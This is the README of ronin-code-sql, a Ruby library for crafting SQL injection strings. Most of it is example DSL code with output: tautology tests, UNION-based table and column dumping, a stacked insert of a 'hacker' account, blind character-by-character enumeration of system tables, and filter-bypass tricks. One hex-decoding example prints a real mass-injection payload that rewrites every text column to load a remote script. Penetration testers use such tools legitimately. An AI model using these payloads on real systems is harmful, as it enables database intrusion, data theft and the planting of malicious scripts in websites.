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ronin-code-sql

Description

{Ronin::Code::SQL} is a Ruby DSL for crafting SQL Injections (SQLi).

Features

Provides convenience methods for encoding/decoding SQL data.
Provides an Domain Specific Language (DSL) for crafting normal SQL and SQL injections.
Has 99% documentation coverage.
Has 98% test coverage.

Examples

Convenience Methods

Escape a String:

"O'Brian".sql_escape
# => "'O''Brian'"

Unescapes a SQL String:

"'O''Brian'".sql_unescape
# => "O'Briand"

Hex encode a String:

"exploit".sql_encode
# => "0x6578706c6f6974"

Hex decode a String:

string = "4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72"
string.sql_decode
# => "DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''\"></title><script src=\"http://www0.douhunqn.cn/csrss/w.js\"></script><!--''+['+@C+'] where '+@C+' not like ''%\"></title><script src=\"http://www0.douhunqn.cn/csrss/w.js\"></script><!--''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor"

SQLi DSL

Injecting a 1=1 test into a Integer comparison:

sqli = Ronin::Code::SQLI.new
sqli.or { 1 == 1 }
puts sqli
# 1 OR 1=1

Injecting a 1=1 test into a String comparison:

sqli = Ronin::Code::SQLI.new(escape: :string)
sqli.or { string(1) == string(1) }
puts sqli
# 1' OR '1'='1

Columns:

sqli = Ronin::Code::SQLI.new
sqli.and { admin == 1 }
puts sqli
# 1 AND admin=1

Clauses:

sqli = Ronin::Code::SQLI.new
sqli.or { 1 == 1 }.limit(0)
puts sqli
# 1 OR 1=1 LIMIT 0

Statements:

sqli = Ronin::Code::SQLI.new
sqli.and { 1 == 0 }
sqli.insert.into(:users).values('hacker','passw0rd','t')
puts sqli
# 1 AND 1=0; INSERT INTO users VALUES ('hacker','passw0rd','t')

Sub-Statements:

sqli = Ronin::Code::SQLI.new
sqli.union { select(1,2,3,4,id).from(users) }
puts sqli
# 1 UNION SELECT (1,2,3,4,id) FROM users

Test if a table exists:

sqli = Ronin::Code::SQLI.new
sqli.and { select(count).from(:users) == 1 }
puts sqli
# 1 AND (SELECT COUNT(*) FROM users)=1

Create errors by using non-existent tables:

sqli = Ronin::Code::SQLI.new(escape: :string)
sqli.and { non_existent_table == '1' }
puts sqli
# 1' AND non_existent_table='1

Dumping all values of a column:

sqli = Ronin::Code::SQLI.new(escape: :string)
sqli.or { username.is_not(null) }.or { username == '' }
puts sqli
# 1' OR username IS NOT NULL OR username='

Enumerate through database table names:

sqli = Ronin::Code::SQLI.new
sqli.and {
  ascii(
    lower(
      substring(
        select(:name).top(1).from(sysobjects).where { xtype == 'U' }, 1, 1
      )
    )
  ) > 116
}
puts sqli
# 1 AND ASCII(LOWER(SUBSTRING((SELECT name TOP 1 FROM sysobjects WHERE xtype='U'),1,1)))>116

Find user supplied tables via the sysObjects table:

sqli = Ronin::Code::SQLI.new
sqli.union_all {
  select(1,2,3,4,5,6,name).from(sysObjects).where { xtype == 'U' }
}
puts sqli.to_sql(terminate: true)
# 1 UNION ALL (SELECT (1,2,3,4,5,6,name) FROM sysObjects WHERE xtype='U');--

Bypass filters using /**/ instead of spaces:

sqli = Ronin::Code::SQLI.new
sqli.union { select(1,2,3,4,id).from(users) }
puts sqli.to_sql(space: '/**/')
# 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users

Bypass filters using MySQL # comments:

sqli = Ronin::Code::SQLI.new
sqli.or { 1 == 1 }
puts sqli.to_sql(terminate: true, comment: '#')
# 1 OR 1=1 OR 1=1;#

Requirements

Ruby >= 3.0.0
ronin-support ~> 1.0

Install

$ gem install ronin-code-sql

License

ronin-code-sql - A Ruby DSL for crafting SQL Injections.

ronin-code-sql is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

ronin-code-sql is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.

You should have received a copy of the GNU Lesser General Public License along with ronin-code-sql. If not, see https://www.gnu.org/licenses/.